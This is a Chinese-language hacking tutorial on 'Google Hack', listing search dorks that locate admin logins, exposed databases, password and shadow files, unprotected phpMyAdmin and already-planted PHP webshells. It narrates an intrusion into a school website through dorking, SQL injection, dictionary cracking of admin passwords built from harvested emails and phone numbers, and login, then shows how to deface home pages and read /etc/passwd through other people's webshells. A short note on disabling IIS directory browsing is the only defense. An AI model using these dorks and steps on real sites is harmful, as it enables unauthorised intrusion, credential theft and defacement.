搜索也是一门艺术
说起Google,可谓无人不知无人不晓,其强大的搜索功能,可以让你在瞬间找到你想要的一切。不过对于普通的用户而言,Google是一个强大的搜索引擎;而对于黑客而言,则可能是一款绝佳的黑客工具。正因为google的检索能力强大,黑客可以构造特殊的关键字语法,使用Google搜索互联网上的相关隐私信息。通过Google,黑客甚至可以在几秒种内黑掉一个网站。这种利用Google搜索相关信息并进行入侵的过程就叫做Google Hack。
在我们平时使用搜索引擎的过程中,通常是将需要搜索的关键字输入搜索引擎,然后就开始了漫长的信息提取过程。其实Google对于搜索的关键字提供了多种语法,合理使用这些语法,将使我们得到的搜索结果更加精确。当然,Google允许用户使用这些语法的目的是为了获得更加精确的结果,但是黑客却可以利用这些语法构造出特殊的关键字,使搜索的结果中绝大部分都是存在漏洞的网站。
下面上科互联网络培训学院先来看看Google的部分语法:
inurl:搜索包含有特定字符的URL。例如输入“inurl:/admin_login”,则可以找到带有admin_login字符的URL,通常这类网址是管理员后台的登录网址。
intext:搜索网页正文内容中的指定字符,例如输入“intext:上科互联”。这个语法类似我们平时在某些网站中使用的“文章内容搜索”功能。这个就是把网页中的正文内容中的某个字符做为搜索条件,例如在google里输入:intext:动网,将返回所有在网页正文部分包含"动网"的网页。
intitle:搜索网页标题中包含有特定字符的网页。例如输入“intitle:上科互联”,这样网页标题中带有上科互联的网页会被搜索出来。和上面那个intext差不多,搜索网页标题中是否有我们所要找的字符,例如搜索:intitle:安全天使,将返回所有网页标题中包含“安全天使”的网页。同理allintitle也同intitle类似。
allintext:使用方法和intext类似.
Filetype:搜索指定类型的文件。例如输入“filetype:PDF”,将返回PDF文档。这个我要重点推荐一下,无论是撒网式攻击还是我们后面要说的搜索指定类型的文件。例如输入:iletype:doc,将返回所有以doc结尾的文件URL。当然如果你找.bak、.mdb或.inc也是可以的,获得的信息也许会更丰富。
Site:找到与指定网站有联系的URL。例如输入“Site:www.sunghost.cn”。所有和这个网站有联系的URL都会被显示。
cache:搜索google里关于某些内容的缓存,有时候也许能找到一些好东西哦。
define:搜索某个词语的定义。搜索:define:hacker,将返回关于hacker的定义。
info:查找指定站点的一些基本信息。
link:例如搜索:inurl:www.4ngel.net可以返回所有和www.4ngel.net做了链接的URL。
对了还有一些符号也是很有用的:
+ 把google可能忽略的字列如查询范围
- 把某个字忽略
~ 同意词
. 单一的通配符
* 通配符,可代表多个字母
"" 精确查询
黑客常用的语法
admin site:edu.cn
site:sunghsot.cn intext:管理|后台|登录|用户名|密码|验证码|系统|账号|后台管理|后台登录
site:sunghsot.cn intitle:管理|后台|登录|用户名|密码|验证码|系统|账号|后台管理|后台登录
inurl:login/admin/manage/admin_login/login_admin/system/boos/master/main/cms/wp-admin/sys|managetem|password|username
site:www.sunghost.cn inurl:file
site:www.sunghost.cn inurl:load
site:www.sunghost.cn inurl:php?id=
site:www.sunghost.cn inurl:asp?id=
site:www.sunghost.cn inurl:fck
site:www.sunghost.cn inurl:ewebeditor
inurl:ewebeditor|editor|uploadfile|eweb|edit
intext:to parent directory
intext:转到父目录/转到父路径
inurl:upload.asp
inurl:cms/data/templates/images/index/
intitle:powered by dedecms
index of/ppt
Filetype:mdb
site:www.sunghost.cn intext:to parent directory+intext.mdb
inurl:robots.txt
intitle:index.of "parent directory"
index of /passwd
site:sunghost.cn filetype:mdb|ini|php|asp|jsp
其他相关指令:related,cache,info,define,link,allinanchor等。
语法在Google Hack中的作用
了解了Google的基本语法后,我们来看一下黑客是如何使用这些语法进行Google Hack的,这些语法在入侵的过程中又会起到怎样的作用呢?
intitle
intitle语法通常被用来搜索网站的后台、特殊页面和文件,通过在Google中搜索“intitle:登录”、“intitle:管理”就可以找到很多网站的后台登录页面。此外,intitle语法还可以被用在搜索文件上,例如搜索“intitle:"indexof"etc/shadow”就可以找到Linux中因为配置不合理而泄露出来的用户密码文件。
inurl
Google Hack中,inurl发挥的作用的最大,主要可以分为以下两个方面:寻找网站后台登录地址,搜索特殊URL。
寻找网站后台登录地址:和intitle不同的是,inurl可以指定URL中的关键字,我们都知道网站的后台URL都是类似login.asp、admin.asp为结尾的,那么我们只要以“inurl:login.asp”、“inurl:admin.asp”为关键字进行搜索,同样可以找到很多网站的后台。此外,我们还可以搜索一下网站的数据库地址,以“inurl:data”、“inurl:db”为关键字进行搜索即可。
寻找网站的后台登录页面
搜索特殊URL:通过inurl语法搜索特殊URL,我们可以找到很多网站程序的漏洞,例如最早IIS中的Uncode目录遍历漏洞,我们可以构造“inurl:/winnt/system32/cmd exe?/c+dir”这样的关键字进行搜索,不过目前要搜索到存在这种古董漏洞的网站是比较困难的。再比如前段日子很火的上传漏洞,我们使用““inurl:upload.asp”或“inurl:upload_soft.asp”即可找到很多上传页面,此时再用工具进行木马上传就可以完成入侵。
intext
intext的作用是搜索网页中的指定字符,这貌似在Google Hack中没有什么作用,不过在以“intext:to parent directory”为关键字进行搜索后,我们会很惊奇的发现,无数网站的目录暴露在我们眼前。我们可以在其中随意切换目录,浏览文件,就像拥有了一个简单的Webshell。形成这种现象的原因是由于IIS的配置疏忽。同样,中文IIS配置疏忽也可能出现类似的漏洞,我们用“intext:转到父目录”就可以找到很多有漏洞的中文网站。
随意浏览网站中的文件
Filetype
Filetype的作用是搜索指定文件。假如我们要搜索网站的数据库文件,那么可以以“filetype:mdb”为关键字进行搜索,很快就可以下载到不少网站的数据库文件。当然,Filetype语法的作用不仅于此,在和其他语法配合使用的时候更能显示出其强大作用。
Site
黑客使用Site,通常都是做入侵前的信息刺探。Site语法可以显示所有和目标网站有联系的页面,从中或多或少存在一些关于目标网站的资料,这对于黑客而言就是入侵的突破口,是关于目标网站的一份详尽的报告。语法组合,威力加倍虽然上文中介绍的这几个语法能各自完成入侵中的一些步骤,但是只使用一个语法进行入侵,其效率是很低下的。Google Hack的威力在于能将多个语法组合起来,这样就可以快速地找到我们需要的东西。下面我们来模拟黑客是如何使用Google语法组合来入侵一个网站的。
信息刺探
黑客想入侵一个网站,通常第一步都是对目标网站进行信息刺探。这时可以使用“Site:目标网站”来获取相关网页,从中提取有用的资料。
搜索相关页面
下载网站的数据库。搜索“Site:目标网站 Filetype:mdb”就可以寻找目标网站的数据库,其中的Site语法限定搜索范围,Filetype决定搜索目标。用这种方法有一个缺点,就是下载到数据库的成功率较低。在这里我们还可以采用另一种语法组合,前提是目标网站存在IIS配置缺陷,即可以随意浏览站点文件夹,我们搜索“Site:目标网站 intext:to parent directory”来确定其是否存在此漏洞。在确定漏洞存在后,可以使用“Site:目标网站 intext:to parent directory+intext.mdb”进行数据库的搜索。
找到网站数据库
登录后台管理
下载到数据库后,我们就可以从中找到网站的管理员帐户和密码,并登录网站的后台。对于网站后台的查找,可以使用语法组合“Site:
目标网站 intitle:管理”或者“Site:目标网站 inurl:login.asp”进行搜索,当然我们可以在这里进行联想,以不同的字符进行搜索,这样就有很大的
概率可以找到网站的后台管理地址。接下去黑客就可以在后台上传Webshll,进一步提升权限,在此不再阐述。
利用其他漏洞
如果下载数据库不成功,我们还可以尝试其他的入侵方法。例如寻找上传漏洞,搜索“Site:目标网站 inurl:upload.asp”。此外,我们还可以根据一些程序漏洞的特征,定制出Google Hack的语句。
Google Hack可以灵活地组合法语,合理的语法组合将使入侵显得易如反掌,再加入自己的搜索字符,Google完全可以成为你独一无二的黑客工具。
合理设置,防范Google Hack。合理设置网站Google Hack貌似无孔不入,实则无非是利用了我们配置网站时的疏忽。例如上文中搜索“intext:to parent directory”即可找到很多可以浏览目录文件的网站,这都是由于没有设置好网站权限所造成的。在IIS中,设置用户访问网站权限时有一个选项,叫做“目录浏览”,如果你不小心选中了该项,那么其结果就如上文所述,可以让黑客肆意浏览你网站中的文件。这种漏洞的防范方法十分简单,在设置用户权限时不要选中“目录浏览”选项即可。
下面开始说说实际应用
以下内容均在google上搜索,对于一个居心叵测的攻击者来说,可能他最感兴趣的就是密码文件了。而google正因为其强大的搜索能力往往会把一些敏感信息透露给他们。用google搜索以下内容:
intitle:"index of" etc
intitle:"Index of" .sh_history
intitle:"Index of" .bash_history
intitle:"index of" passwd
intitle:"index of" people.lst
intitle:"index of" pwd.db
intitle:"index of" etc/shadow
intitle:"index of" spwd
intitle:"index of" master.passwd
intitle:"index of" htpasswd
"# -FrontPage-" inurl:service.pwd
有时候因为各种各样的原因一些重要的密码文件被毫无保护的暴露在网络上,如果被别有用心的人获得,那么危害是很大的。同样可以用google来搜索一些具有漏洞的程序,例如ZeroBoard前段时间发现个文件代码泄露漏洞,可以用google来找网上使用这套程序的站点:
intext:ZeroBoard filetype:php
或者使用:
inurlutlogin.php?_zb_path= site:.jp
来寻找我们所需要的页面。phpmyadmin是一套功能强大的数据库操作软件,一些站点由于配置失误,导致我们可以不使用密码直接对phpmyadmin进行操作,我们可以用google搜索存在这样漏洞的程序URL:
intitle:phpmyadmin intext:Create new database
还记http://www.xxx.com/_vti_bin/..%5... ystem32/cmd.exe?dir吗?用google找找,你也许还可以找到很多古董级的机器。同样我们可以用这个找找有其他cgi漏洞的页面。
allinurl:winnt system32
前面已经简单的说过可以用google来搜索数据库文件,用上一些语法来精确查找能够获得更多东西(access的数据库,mssql、mysql的连接文件等等).举个例子示例一下:
allinurl:bbs data
filetype:mdb inurl:database
filetype:inc conn
inurl:data filetype:mdb
intitle:"index of" data //在一些配置不正确的apache+win32的服务器上经常出现这种情况,和上面的原理一样,我们还可以用google来找后台。
利用google完全是可以对一个站点进行信息收集和渗透的,下面我们用google对特定站点进行一次测试。
首先用google先看这个站点的一些基本情况(一些细节部分就略去了):
site:xxxx.com
从返回的信息中,找到几个该校的几个系院的域名:
http://a1.xxxx.com
http://a2.xxxx.com
http://a3.xxxx.com
http://a4.xxxx.com
顺便ping了一下,应该是在不同的服务器.学校一般都会有不少好的资料,先看看有什么好东西没。
site:xxxx.com filetype:doc
得到N个不错的doc。
先找找网站的管理后台地址:
site:xxxx.com intext:管理
site:xxxx.com inurl:login
site:xxxx.com intitle:管理
超过获得2个管理后台地址:
http://a2.xxxx.com/sys/admin_login.asp
http://a3.xxxx.com:88/_admin/login_in.asp
还算不错,看看服务器上跑的是什么程序:
site:a2.xxxx.com filetype:asp
site:a2.xxxx.com filetype:php
site:a2.xxxx.com filetype:aspx
site:a3.xxxx.com filetype:asp
site:.......
......
a2服务器用的应该是IIS,上面用的是asp的整站程序,还有一个php的论坛a3服务器也是IIS,aspx+asp。web程序都应该是自己开发的。有论坛那就看看能不能遇见什么公共的FTP帐号什么的:
site:a2.xxxx.com intext:ftp://*:*
没找到什么有价值的东西。再看看有没有上传一类的漏洞:
site:a2.xxxx.com inurl:file
site:a3.xxxx.com inurl:load
在a2上发现一个上传文件的页面:
http://a2.xxxx.com/sys/uploadfile.asp
用IE看了一下,没权限访问。试试注射,
site:a2.xxxx.com filetype:asp
得到N个asp页面的地址,体力活就让软件做吧,这套程序明显没有对注射做什么防范,dbowner权限,虽然不高但已足矣,back a shell不太喜欢,而且看起来数据库的个头就不小,直接把web管理员的密码暴出来再说,MD5加密过。一般学校的站点的密码都比较有规律,通常都是域名+电话一类的变形,用google搞定吧。
site:xxxx.com //得到N个二级域名
site:xxxx.com intext:*@xxxx.com //得到N个邮件地址,还有邮箱的主人的名字什么的
site:xxxx.com intext:电话 //N个电话
把什么的信息做个字典吧,挂上慢慢跑。过了一段时间就跑出4个帐号,2个是学生会的,1个管理员,还有一个可能是老师的帐号。登陆上去:
name:网站管理员
pass:a2xxxx7619 //说了吧,就是域名+4个数字要再怎么提权那就不属于本文讨论访问了,呵呵,到此为止。
这段时间在国外的一些google hack的研究站点看了看,其实也都差不多是一些基本语法的灵活运用,或者配合某个脚本漏洞,主要还是靠个人的灵活思维。国外对于google hack方面的防范也并不是很多,所以大家还是点到为止,不要去搞破坏拉,呵呵。对于一些在win上跑apache的网管们应该多注意一下这方面,一个intitle:index of就差不多都出来了。
1.查找利用phpwebshell
intitle:"php shell*" "Enable stderr"filetype:php
(注:intitle—网页标题 Enablestderr—UNIX标准输出和标准错误的缩写filetype—文件类型)。搜索结果中,你能找到很多直接在机器上执行命令的webshell来。如果找到的PHPSHELL不会利用,如果你不熟悉UNIX,可以直接看看LIST,这里就不详细说了,有很多利用价值。要说明的是,我们这里搜索出来的一些国外的PHPSHELL上都要使用UNIX命令,都是system调用出来的函数(其实用百度及其他搜索引擎都可以,只是填写搜索的内容不同)。这个PHPWEBSHELL是可以直接Echo(Unix常用命令)。一句话就把首页搞定了:
echo "召唤" > index.jsp
现在看看首页,已经被我们改成: "召唤"了。
我们也可以用WGET上传一个文件上去(比如你要替换的叶子吧)。然后executeCommand输入 cat file> index.html or echo "" > file
echo "test" >> file
这样一条条打出来,站点首页就成功被替换了。同样的也可以
uname -a;cat /etc/passwd
不过有点要注意,有些WEBSHELL程序有问题,执行不了的,
2.搜索INC敏感信息
在google的搜索框中填入:
Code:.org filetype:inc
收集的一些google最好的技巧
inurl:robpoll.cgi filetype:cgi